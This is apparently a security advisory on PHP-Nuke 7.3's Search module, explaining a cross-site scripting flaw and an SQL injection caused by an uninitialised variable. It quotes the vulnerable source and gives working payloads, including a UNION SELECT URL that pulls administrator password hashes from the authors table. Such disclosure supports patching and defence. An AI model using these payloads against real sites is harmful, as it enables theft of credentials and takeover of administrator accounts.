      PHPNuke Multiple Vulnerabilities in Search Module (Comments Search)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.phpnuke.org/> PHP-Nuke is a news automated system specially
    designed to be used in Intranets and Internet. The Administrator has total
    control of his web site, registered users, and he will have in the hand a
    powerful assembly of tools to maintain an active and 100% interactive web
    site using databases."

    PHPNuke's search module is susceptible to a cross-site scripting and SQL
    injection vulnerabilities, the later via the comments search feature.

    DETAILS

    Vulnerable Systems:
     * PHP-Nuke version 7.3

    In "/modules/Search/index.php", open the Search page and the XSS can be
    exploited by issuing: http://localhost/nuke73/modules.php?name=Search

    While entering into the input field something similar to:
    1"><body onload="alert(document.cookie);

    In order to understand the SQL injection issue, let's first look at the
    source of the script:
    } elseif ($type == "comments" AND isset($sid)) {
            $res = $db->sql_query("select title from ".$prefix."_stories where
    sid='$sid'");
            list($st_title) = $db->sql_fetchrow($res);
            $instory = "AND sid='$sid'";
            echo "<center><font class=\"title\"><b>"._SEARCHINSTORY."
    $st_title</b></font></center><br>";
    } else {
            echo "<center><font class=\"title\"><b>"._SEARCHIN."
    $topictext</b></font></center><br>";
    }

    What can be seen from the code fragment above is that if the search type
    is "comments" and there is no specified "sid", the SQL fragment "instory"
    is not initialized. Looking a bit further:
    } elseif ($type=="comments") {
    ..
    ..
            $result8 = $db->sql_query("SELECT tid, sid, subject, date, name
    from
             ".$prefix."_comments where (subject like '%$query%' OR comment
    like '%$query%')
             $instory order by date DESC limit $min,$offset");
    ..
    ..

    When we reach the above code fragment, the $instory variable is
    un-initialized and the bug allows an attacker to insert SQL clauses into
    the query. Example:
    http://localhost/nuke73/modules.php?name=Search&type=comments&query=not123exists&instory=/**/ UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors
